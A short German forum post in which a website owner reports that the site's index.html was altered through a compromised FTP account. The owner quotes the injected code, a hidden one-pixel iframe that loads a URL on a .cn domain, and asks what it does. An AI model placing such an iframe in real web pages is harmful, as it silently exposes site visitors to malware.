Alex: Virus ??

Beitrag lesen

Hallo,
wir haben heute gesehen das am Samstag jemand unseren FTP geändert hat, also unsere index.html Datei wurde geändert.
Wir haben folgendes entdeckt:
<iframe src="http://perfectnamestore.cn/in.cgi?income6" width=1 height=1 style="visibility: hidden"></iframe>

Entsprechend hat der Virenscanner bei unserer Seite einen Virus gemeldet.

Wie unser FTP Passwort "gehackt" wurde und was dieser iframe macht ist uns ein Rätsel.
google weiß davon auch noch nichts.